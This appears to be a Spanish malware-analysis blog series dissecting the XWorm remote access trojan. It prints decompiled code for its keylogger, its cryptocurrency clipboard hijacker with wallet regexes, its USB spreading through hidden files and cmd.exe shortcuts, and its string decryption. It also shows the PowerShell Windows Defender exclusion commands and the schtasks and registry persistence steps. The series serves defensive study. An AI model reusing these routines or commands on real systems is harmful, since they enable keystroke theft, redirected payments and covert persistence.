				object obj3 = ((int)GetKeyState(160) & 32768) != 0 || ((int)GetKeyState(161) & 32768) != 0;
...

De acuerdo a la documentación, los parámetros que recibe la función son los siguientes:

nCode: un código que el procedimiento utiliza cómo procesar el mensaje; 0 significa que hay información de un evento de teclado.
wParam: El identificador del mensaje; 256 corresponde a 0x100, lo que corresponde a WM_KEYDOWN. Este evento se gatilla cuando una tecla es presionada.
lParam: Un puntero a la estructura KBDLLHOOKSTRUCT.

El código utiliza la función GetKeyState para determinar si la tecla de mayúscula (Caps Lock) está siendo presionada, resultado que asigna a la variable obj2. De igual manera, valida si tanto el Shift derecho o izquierdo están siendo presionados y asigna dicho resultado a la variable obj3. Información sobre qué numero corresponde a cada tecla puede ser encontrada en este enlace.

La siguiente variable que es asignada es obj4, la cual utiliza las funciones GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, y ToUnicodeEX para obtener el caracter Unicode de la tecla presionada.

Si continuamos analizando el código vemos que este convierte los caracteres a mayúscula/minúscula dependiendo si las teclas Caps Lock o Shift están siendo presionadas. Adicionalmente, verifica si las teclas F1-F24 están siendo presionadas y registra dicha acción entre corchetes:

if (Conversions.ToBoolean((Conversions.ToBoolean(obj2) || Conversions.ToBoolean(obj3)) ? true : false))
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToUpper", new object[0], null, null, null));
				}
				else
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToLower", new object[0], null, null, null));
				}
				if (Conversions.ToInteger(obj) >= 112 && Conversions.ToInteger(obj) <= 135)
				{
					obj4 = "[" + Conversions.ToString(Conversions.ToInteger(obj)) + "]";
				}

El código también valida si se están presionando teclas no alfanuméricas y las registra entre corchetes:

...
string text = ((Keys)Conversions.ToInteger(obj)).ToString();
					if (Operators.CompareString(text, "Space", false) == 0)
					{
						obj4 = "[SPACE]";
					}
					else if (Operators.CompareString(text, "Return", false) == 0)
					{
						obj4 = "[ENTER]";
					}
					else if (Operators.CompareString(text, "Escape", false) == 0)
					{
						obj4 = "[ESC]";
					}
					else if (Operators.CompareString(text, "LControlKey", false) == 0)
					{
						obj4 = "[CTRL]";
					}
...

Finalmente, el código registra la tecla presionada en el archivo "C:\\temp\\Log.tmp" especificando el nombre del proceso donde la víctima está escribiendo y el título de la ventana de este:

...
using (StreamWriter streamWriter = new StreamWriter("C:\\temp\\Log.tmp", true))
				{
					if (object.Equals(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()))
					{
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
					else
					{
						streamWriter.WriteLine(Environment.NewLine);
						streamWriter.WriteLine("### " + nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i() + " ###");
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
				}
...
private static string HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()
		{
			uint num = 0U;
			string text;
			try
			{
				IntPtr intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.bbQy92NFYzaX();
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xdeCCXgZdixj(intPtr, out num);
				object processById = Process.GetProcessById(checked((int)num));
				object obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "MainWindowTitle", new object[0], null, null, null));
				if (string.IsNullOrWhiteSpace(Conversions.ToString(obj)))
				{
					obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "ProcessName", new object[0], null, null, null));
				}
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks = Conversions.ToString(obj);
				text = Conversions.ToString(obj);
			}
			catch (Exception ex)
			{
				text = "???";
			}
			return text;
		}

Captura de criptomonedas

Luego de iniciar el hilo que captura eventos de teclado (keylogger), XWorm inicia un nuevo hilo invocando a la función ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.

Al abrir la función, vemos que inicializa un formulario:

public static void CaGUhxuUwEJ0()
		{
			Application.Run(new 5WfMxvD8ofo6.NotificationForm());
		}

...
			public NotificationForm()
			{
				Iz7vHvHrDV0G.NativeMethods.SetParent(this.Handle, Iz7vHvHrDV0G.NativeMethods.intpreclp);
				Iz7vHvHrDV0G.NativeMethods.AddClipboardFormatListener(this.Handle);
			}

Si buscamos en internet podemos encontrar un post de hace 15 años en StackOverflow donde un usuario detalla cómo interceptar eventos del portapapeles:

private class NotificationForm : Form
 {
 public NotificationForm()
 {
 NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
 NativeMethods.AddClipboardFormatListener(Handle);
 }

 protected override void WndProc(ref Message m)
 {
 if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
 {
 OnClipboardUpdate(null);
 }
 base.WndProc(ref m);
 }
 } //https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c

En la respuesta del usuario, vemos que se hace un override a la función WndProc para determinar qué hacer cuando se intercepta un evento.

Analizando el código de XWorm, vemos que sigue el mismo patrón:

protected override void WndProc(ref Message m)
			{
				if (m.Msg == 797)
				{
					...
					if (this.RegexResult(Iz7vHvHrDV0G.kHHDOMdskKUn) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM))
					{
						object obj = Iz7vHvHrDV0G.kHHDOMdskKUn.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.eEjYtL8MRBr2) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT))
					{
						object obj2 = Iz7vHvHrDV0G.eEjYtL8MRBr2.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj2));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("ETH Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj2)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.saRbJz6ZQ0Rw) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8))
					{
						object obj3 = Iz7vHvHrDV0G.saRbJz6ZQ0Rw.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj3));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("TRC20 Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj3)));
					}
				}
				base.WndProc(ref m);
			}

El tipo de mensaje 797 es 0x031D en hexadecimal, el cual corresponde a WM_CLIPBOARDUPDATE.

La función RegexResult busca si el contenido del portapapeles sigue ciertos patrones asociados a criptomonedas:

		private bool RegexResult(Regex pattern)
			{
				return pattern.Match(5WfMxvD8ofo6.NotificationForm.currentClipboard).Success;
			}
...
		public static readonly Regex kHHDOMdskKUn = new Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b");

		public static readonly Regex eEjYtL8MRBr2 = new Regex("\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b");

		public static readonly Regex saRbJz6ZQ0Rw = new Regex("T[A-Za-z1-9]{33}");

El primer patrón corresponde a billeteras de Bitcoin, el segundo a Ethereum y el tercero a TRON.

XWorm analiza si el contenido del portapapeles está asociado a una de estas billeteras y si no corresponde a ciertos valores específicos. De cumplirse ambas condiciones, reemplaza el contenido del portapapeles por valores almacenados de manera encriptada en el código del malware; los valores fueron desencriptados en memoria al iniciar el malware y corresponden a billeteras de Bitcoin, Ethereum y TRON respectivamente.

En resumen, XWorm realiza lo siguiente:

Intercepta el contenido del portapapeles (cuando alguien hace click a “copiar” o Control+C)
Verifica si el contenido del portapapeles corresponde con el patrón de una billetera de criptomonedas.
De ser así, modifica el contenido del portapapeles para que contenga la billetera del atacante.

Dado que las billeteras de criptomonedas no siguen nombres intuitivos y están compuestas de valores alfanuméricos, las personas usualmente copian y pegan dichos valores de su gestor de criptomonedas/páginas de venta de productos/chats; el atacante se aprovecha de dicho comportamiento para reemplazar la billetera del usuario sin que este se de cuenta, y así, lograr que le transfieran fondos.

Próximos pasos

XWorm sigue demostrando ser un malware versátil con múltiples capacidades; desde la infección por USBs, captura de criptomonedas e intercepción de teclado, XWorm nos evidencia las distintas oportunidades que el atacante busca para conseguir algo beneficioso de su víctima.

En el próximo artículo veremos cómo XWorm reporta que ha infectado a una nueva víctima, así como cómo se actualiza.

009 - Decodificando XWorm: Movimiento lateral

Tue, 18 Feb 2025 12:08:00 -0500

Introducción

En en artículo anterior vimos cómo XWorm asegura su presencia contínua en el equipo infectado mediante técnicas de persistencia; en este artículo, veremos cómo se propaga a otros equipos.

Movimiento lateral

El movimiento lateral es una táctica utilizada por atacantes para moverse dentro de la red e infectar nuevos dispositivos. Un atacante puede utilizar múltiples técnicas de movimiento lateral dependiendo del tipo de ataque, como lo puede ser la explotación de una vulnerabilidad (EternalBlue en el caso de WannaCry), abuso de mecanismos de autenticación (Pass The Hash), abuso de funciones nativas (carpetas de red), etc.

Una vez establecidas las técnicas de persistencia, el malware invoca a la función q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX, la cual inicia un nuevo hilo mediante el uso del delegado ThreadStart:


public static void q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX()
		{
clase.hilo = new Thread(new ThreadStart(clase.OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik), 1);
				clase.hilo.Start();
			}

Al llamar al método Thread.Start, se invoca la función OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik, la cual realiza el movimiento lateral.

En una primera revisión de la función, nos percatamos que es bastante más dificil de analizar que el resto del código que hasta ahora venimos revisando:


private static void OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik()
		{
			int num2;
			int num4;
			object obj7;
			try
			{
				IL_0000:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("wscript.shell", ""));
				IL_0018:
				checked
				{
					for (;;)
					{
						IL_074D:
						num = 3;
						if (!true)
						{
							break;
						}
						IL_001D:
						ProjectData.ClearProjectError();
						num2 = 1;
						IL_0025:
						num = 5;
						RegistryKey registryKey = 2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
						IL_0043:
						num = 6;
...

El código parece no estar decompilado correctamente o estar ofuscado: vemos bucles infinitos, validaciones como “if (!true)”, referencias a otras pártes del código (IL_074D) y múltiples asignaciones de números a variables (num=5).

Dado que no tenemos el código fuente del malware, no podemos saber cómo se veía inicialmente esta función; sin embargo, se me ocurren 3 opciones:

El atacante ofuscó esta función para dificultar su análisis.
Ocurrió un problema en el decompilado de la función.
El atacante reutilizó código de otro malware.

Las primeras dos opciones me parecen difíciles de creer; si el atacante quisiese dificultar el análisis de esta función, ¿por qué no hacerlo con el resto? como veremos luego, el objetivo final del malware (funciones RAT) no esta ofuscado de esta manera. La otra opción es que sea un error del decompilador, pero, ¿por qué solo ocurre en esta función?.

En base a ello me inclino a creer que es la tercera opción: el atacante reutilizó el código de su arsenal u otro malware, donde probablemente se realizó un ofuscado.

Análisis paso a paso

Si bien analizar la función parece dificil, podemos enfocarnos en las líneas de código que parecen estar ejecutando algo:

La función inicia modificando una llave de registro:

Código limpio:

RegistryKey registryKey = clase.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
	if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
		{
			registryKey.SetValue("ShowSuperHidden", 0);
		}

El propósito de ShowSuperHidden no queda claro en una primera instacia, ¿existen archivos ocultos y super-ocultos? Adentrándonos en la documentación de Microsoft, descubrimos que dicho flag indica si se deben mostrar archivos protegidos del sistema.

XWorm configura el flag en 0, con lo que deshabilita el mostrar archivos protegidos del sistema.

Una vez modificada la llave, el malware itera por las unidades que tiene el sistema y verifica cuales pueden ser utilizadas y son removibles (USBs por ejemplo): Código limpio:

DriveInfo[] drives = DriveInfo.GetDrives(); //obtiene unidades
	int i = 0;
	while (i < drives.Length) //itera por las unidades
		{
			DriveInfo driveInfo = drives[i];
			if (driveInfo.IsReady) //verifica si puede ser utilizada
				{
					if (driveInfo.DriveType == DriveType.Removable) //verifica si es removible
						{
							...
						}
				}
		}

Si el dispositivo es removible y está listo, el malware obtiene la unidad del dispositivo (“D:" por ejemplo), copia un programa a la raiz de este, y configura el programa como oculto y de sistema: Código limpio:

string name = driveInfo.Name; //obtiene el nombre de la unidad
if (!File.Exists(name + programa)) //verifica si existe un programa "USB.exe" en el dispositivo removible
	{
		File.WriteAllBytes(name + programa, File.ReadAllBytes(archivoActual)); //se copia a si mismo con el nombre de "USB.exe"
		File.SetAttributes(name + programa, FileAttributes.Hidden | FileAttributes.System); //configura a "USB.exe" como oculto y de sistema
	}

¿Qué programa copia el malware? Se copia a si mismo con el nombre de “USB.exe”, el cual fue desencriptado en memoria al empezar a ejecutarse XWorm.

Una vez XWorm se copia a los dispositivos removibles y se oculta, procede a iterar por cada archivo en la unidad mediante la función Directory.GetFiles, ocultar dichos archivos y crear accesos directos a estos que ejecuten el malware: Código limpio:

string[] files = Directory.GetFiles(name); //obtiene los archivos existentes en el USB
int j = 0;
while (j < files.Length) //itera por cada archivo
	{
		string text = files[j];
		if ((Operators.CompareString(Path.GetExtension(text).ToLower(), ".lnk", false) != 0) & (Operators.CompareString(text.ToLower(), name.ToLower() + programa.ToLower(), false) != 0)) //verifica si no es un acceso directo ni "USB.exe"
			{
				File.SetAttributes(text, FileAttributes.Hidden | FileAttributes.System); //oculta el archivo y lo configura como de sistema
				object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + new FileInfo(text).Name + ".lnk" }, null, null, null);
				NewLateBinding.LateSetComplex(obj, null, "windowstyle", new object[] { 7 }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "Arguments", new object[] { string.Concat(new string[]
					{
						"/c start ",
						programa.Replace(" ", "\" \""),
						"&start ",
						new FileInfo(text).Name.Replace(" ", "\" \""),
						" & exit"
					}
				)} //crea un acceso directo al archivo que adicionalmente ejecuta USB.exe
				...
			}
	}

El código puede ser complicado de entender, pero si lo analizamos paso a paso, está realizando lo siguiente:

Obtiene todos los archivos existentes en la unidad removible.
Itera por cada archivo y verifica si es un acceso directo (.lnk) o si es el malware copiado en el paso anterior (USB.exe)
Si no es ninguno, oculta y configura como archivo de sistema al archivo.
Crea un acceso directo con el nombre del archivo y lo configura para que ejecute "cmd.exe /c start USB.exe & start archivoOculto & exit"

Al realizar ello, cada vez que un usuario haga doble click al acceso directo se ejecutará XWorm y abrirá el archivo que originalmente estaba en el USB para no levantar sospechas.

El siguiente paso que realiza el malware es cambiar el ícono del acceso directo para que sea el mismo que el del archivo original; dado que no es de interés para el análisis, no ahondaré en ese punto.

Una vez el malware itera por todos los archivos, hace lo mismo con las carpetas; las oculta, configura como protegidas y les crea un acceso directo:

string[] directories = Directory.GetDirectories(name);
int k = 0;
while (k < directories.Length)
	{
		string text2 = directories[k];
		File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
		object obj4 = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + Path.GetFileNameWithoutExtension(text2) + " .lnk" }, null, null, null);
		NewLateBinding.LateSetComplex(obj4, null, "windowstyle", new object[] { 7 }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "arguments", new object[] { string.Concat(new string[]
			{
				"/c start ",
				Strings.Replace(programa, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&start explorer ",
				Strings.Replace(new DirectoryInfo(text2).Name, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&exit"
			}
		)}
		...
	}

Como podemos observar, la principal diferencia es que el malware ejecuta "cmd.exe /c start USB.exe & start explorer CarpetaOculta & exit", con lo que se ejecuta el malware y muestra su víctima la carpeta a la que quiere acceder.

Nota sobre el uso de ShowSuperHidden: Si bien uno creería que tener habilitada la opción de “ver carpetas y archivos ocultos” permitiría ver todos los archivos existentes, dicha opción no muestra los archivos ocultos de sistema. Es por ello que no podemos confiarnos y creer poder ver “todos los archivos/programas/carpetas"con esa opción.

Análisis del movimiento lateral

En un mundo donde cada vez más programas se propagan a través de la red, me parece interesante el modo que XWorm tiene de propagarse; todos hemos utilizado USBs en algún momento tanto en equipos corporativos como personales, por lo la que técnica utilizada podría infectar múltiples equipos que estén en diferentes redes (por ejemplo si uso el mismo USB en mi casa que en la empresa donde trabajo).

Analizar la técnica utilizada también me permitió aprender algo nuevo sobre los archivos ocultos: no todos son visibles aunque se active la opción de “mostrar archivos ocultos” en el explorador; mediante el análisis dinámico pude evidenciar cómo incluso teniendo dicha opción activa, no podía visualizar el programa USB.exe ni las carpetas/archivos ocultos.

El abrir los archivos originales y cambiar el ícono de los accesos directos parecen cosas pequeñas pero que traen un gran impacto; fuera de la pequeña flecha que evidencia un acceso directo, una víctima no tendría como saber que ha ejecutado algo no debido. Así reconociera el ícono, todos hemos utilizado accesos directos antes, y puede que no piense dos veces antes de hacerle doble click.

Próximos pasos

Hemos visto cómo XWorm se propaga, pero ¿qué hace una vez está en el sistema? En el próximo artículo, exploraremos cómo roba criptomonedas y registra cada tecla que presiona la víctima.

¡Nos vemos en el siguiente artículo!

008 - Decodificando XWorm: Evasión de defensas y persistencia

Wed, 22 Jan 2025 12:08:00 -0500

Introducción

En artículos anteriores exploramos cómo XWorm evita análisis y detección en entornos controlados. En este artículo, nos enfocaremos en su capacidad para evadir defensas y garantizar su permanencia en el sistema.

Evasión de defensas

La evasión de defensas es una táctica utilizada por los atacantes para evitar ser detectados por soluciones de seguridad como antivirus, herramientas EDR (Endpoint Detection and Response) o firewalls. Al emplear estas técnicas, los atacantes buscan garantizar que su malware pueda operar sin interrupciones, ocultando su presencia mientras realizan acciones maliciosas en el sistema.

Una vez concluida la validación del entorno de ejecución del malware, este procede a llamar a la función iPJELYICawSFgzNPNEXj6qKKNQCWZykiDnDoP; dicha función realiza una validación, y, si el resultado de esta es positiva, procede a ejecutar un bloque de código:

Antes de ejecutar el bloque de código el malware valida si el proceso se está ejecutando como administrador mediante el método WindowsPrincipal.IsInRol:

string text;
text = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString();
return text;

Dado que somos administradores en la máquina de análisis, uno se imaginaría que el método retornaría True; sin embargo, al analizar dinámicamente la función vemos que no es así:

¿Por qué sucede esto? Podemos ir a la documentación del método para entender el motivo:

In Windows Vista, User Account Control (UAC) determines the privileges of a user. If you are a member of the Built-in Administrators group, you are assigned two run-time access tokens: a standard user access token and an administrator access token. By default, you are in the standard user role. When you attempt to perform a task that requires administrative privileges, you can dynamically elevate your role by using the Consent dialog box. The code that executes the IsInRole method does not display the Consent dialog box. The code returns false if you are in the standard user role, even if you are in the Built-in Administrators group. You can elevate your privileges before you execute the code by right-clicking the application icon and indicating that you want to run as an administrator.

La documentación nos indica por qué la función retorna False: Windows utiliza un esquema de tokens para determinar los privilegios actuales del usuario; aunque el usuario pertenezca al grupo de administradores, el token predeterminado será de un rol estándar a menos que el programa se ejecute explícitamente con privilegios elevados.

Dado que el malware no se está ejecutando con privilegios elevados, no ejecutará el resto de la función; aun así, podemos analizar lo que haría estáticamente:

ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = "powershell.exe";
					processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '" + clase1.variable1 + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '" + Path.GetFileName(clase1.variable1) + "'";
					Process.Start(processStartInfo).WaitForExit();
					processStartInfo.Arguments = string.Concat(new string[]
					{
						"-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '",
						clase2.variable2,
						"\\",
						Path.GetFileName(clase1.variable1),
						"'"
					});
					Process.Start(processStartInfo).WaitForExit();

El programa inicia una instancia de Powershell de manera oculta y procede a excluir lo siguiente del análisis de Windows Defender:

La ruta donde se está ejecutando el malware (C:\Users\[Usuario]\Desktop\[sample.exe]).
El proceso del malware (sample.exe).
Una ruta en AppData concatenada con el malware (C:\Users\[Usuario]\AppData\Roaming\[sample.exe])

Al analizar la función, nos queda claro el por qué valida si el proceso se está ejecutando con permisos elevados: para modificar configuraciones del antivirus, Windows Defender, es necesario tener privilegios de administrador.

Recordemos que existen múltiples maneras de infectarnos, si el atacante embebiera XWorm dentro de otro programa legítimo, podría convencer al usuario de ejecutar el programa con permiso de administrador; por ejemplo, el instalar juegos piratas muchas veces requiere que “temporalmente se deshabilite el antivirus mientras se ejecuta el ‘crack’ como administrador para realizar el parchado”; aunque esto podría ser cierto, también podríamos estar instalando sin saberlo un malware como XWorm y excluyéndolo del análisis del antivirus.

Si bien la exclusión de la ruta donde se está ejecutando el malware y el proceso tienen sentido, hasta ahora no vemos que el binario interactúe con AppData; esto es una indicación que probablemente el malware se copie a dicha ruta posteriormente.

Persistencia

La persistencia es una táctica que permite a los atacantes mantener el acceso a un sistema comprometido, incluso después de reinicios o intentos de eliminación. Esto se logra configurando métodos para que el malware se ejecute automáticamente cuando el sistema arranque o el usuario inicie sesión, garantizando su presencia continua.

XWorm utiliza 3 métodos de persistencia para mantener su acceso a la máquina de su víctima; antes de configurar cada método de persistencia, el malware se copia a la ruta C:\Users\[Usuario]\AppData\Roaming\[sample.exe] mediante las funciones File.WriteAllBytes y File.ReadAllBytes:

string text = rutaAppData + "\\" + Path.GetFileName(archivoActual);
if (File.Exists(text))
	{
		FileInfo fileInfo = new FileInfo(text);
		fileInfo.Delete();
	}
Thread.Sleep(1000);
File.WriteAllBytes(text, File.ReadAllBytes(archivoActual));

Tarea programada

XWorm crea una tarea de Windows que se ejecuta cada minuto mediante el comando schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn [NombreMalware] /tr "C:\Users\[Usuario]\AppData\Roaming\[NombreMalware.exe]. Si el proceso no se está ejecutando como administrador, ejecuta el mismo comando sin el parámetro /RL HIGHEST; dicho parámetro es utilizado para que la tarea se ejecute con privilegios elevados.

Técnica de MITRE ATT&CK: T1053.005

Llave de registro

XWorm configura la llave de registro HKCU:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, en donde se configuran los programas que deben ejecutarse al iniciar sesión en el equipo.

Técnica de MITRE ATT&CK: T1547.001

Folder de Startup

XWorm crea un acceso directo al malware en la ruta “C:\Users\[Usuario]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”, que es otra manera de que se ejecuten programas al iniciar sesión.

Técnica de MITRE ATT&CK: T1547.001

Próximos pasos

El movimiento lateral es una táctica crucial para la propagación del malware. En el próximo artículo, exploraremos cómo XWorm utiliza USBs para lograr esto mientras evita la detección.

¡Nos vemos en el siguiente artículo!

007 - Decodificando XWorm: Exploración inicial y técnicas anti-análisis

Tue, 14 Jan 2025 12:08:00 -0500

Introducción

En este artículo, segundo de la serie, continuaremos explorando XWorm. En el artículo anterior identificamos que el RAT está hecho con el framework .NET, lo que nos permite analizarlo fácilmente debido a la cantidad de información que contienen los binarios creados con dicho framework.

Exploración inicial

Al abrir XWorm en DNSpy verificamos que los nombres de las clases y objetos están ofuscados:

Sería tedioso revisar cada clase para identificar la función donde se empieza a ejecutar el programa; afortunadamente, DNSpy nos muestra la clase y función de entrada como comentario:

Al hacer click al nombre de la función DNSpy nos lleva directamente a esta, donde vemos el código que se ejecuta al iniciar el malware:

Una vez la ejecución comienza el malware llama a Thread.Sleep, pasándole como parámetros el valor almacenado en la variable sWpIi59HVTjtB0r6P7SRQdLwgcnM2a0ZVHXvX multiplicado por 1000; al hacer click en la variable verificamos que esta cuenta con el valor de 2, por lo que el valor pasado a Thread.Sleep es de 2000. Una de las ventajas de analizar código .NET con DNSpy es que este cuenta con información sobre las distintas funciones y métodos nativos de los lenguajes que utilizan este framework, por lo que al poner el mouse sobre la función vemos que esta es utilizada para pausar el hilo que se está ejecutando N milisegundos; dado que el valor que se le pasa a la función es de 2000, el programa se detiene por 2 segundos.

Luego de dormir por 2 segundos, el malware entra a un bloque de try/catch, donde intenta ejecutar un número de operaciones; si el ejecutar estas operaciones falla, el programa se cierra mediante la función Environment.Exit(0).

En un primer análisis puede parecer un poco raro lo que realiza el malware, ya que asigna a una variable el resultado de una operación sobre dicha variable:

 Clase.variable1 = Conversions.ToString(lnZZgsJ1tVOV.FbmCgvom7sJS(Clase.variable1));

Si hacemos click a la primera variable,qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90, vemos que tiene como valor nz4SABi5PYTEufPjSTbCd8mMnZZi6YWaGiwAg1FVXfo=

Por el tipo de caracteres parece ser estar codificado en Base64; sin embargo, el tratar de decodificar el valor no obtenemos caracteres legibles:

Desencriptado en memoria

Si hacemos click a la función FbmCgvom7sJS podemos entender qué operaciones realiza sobre la variable:

		public static object FbmCgvom7sJS(string TEFe4AuGLs1t)
		{
			RijndaelManaged rijndaelManaged = new RijndaelManaged();
			MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] array = new byte[32];
			byte[] array2 = md5CryptoServiceProvider.ComputeHash(TFIW2FSLtw9S.fOEct6S2qWNI(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.eCx5LqBibLns0nMQEXWWSiIdLt37W7nhFgXiM));
			Array.Copy(array2, 0, array, 0, 16);
			Array.Copy(array2, 0, array, 15, 16);
			rijndaelManaged.Key = array;
			rijndaelManaged.Mode = CipherMode.ECB;
			ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
			byte[] array3 = Convert.FromBase64String(TEFe4AuGLs1t);
			return TFIW2FSLtw9S.kX1tPkTzXln3(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));
		}

La función realiza lo siguiente:

Inicializa una instancia de RijndaelManaged, la cual es una clase utilizada en operaciones criptográficas.
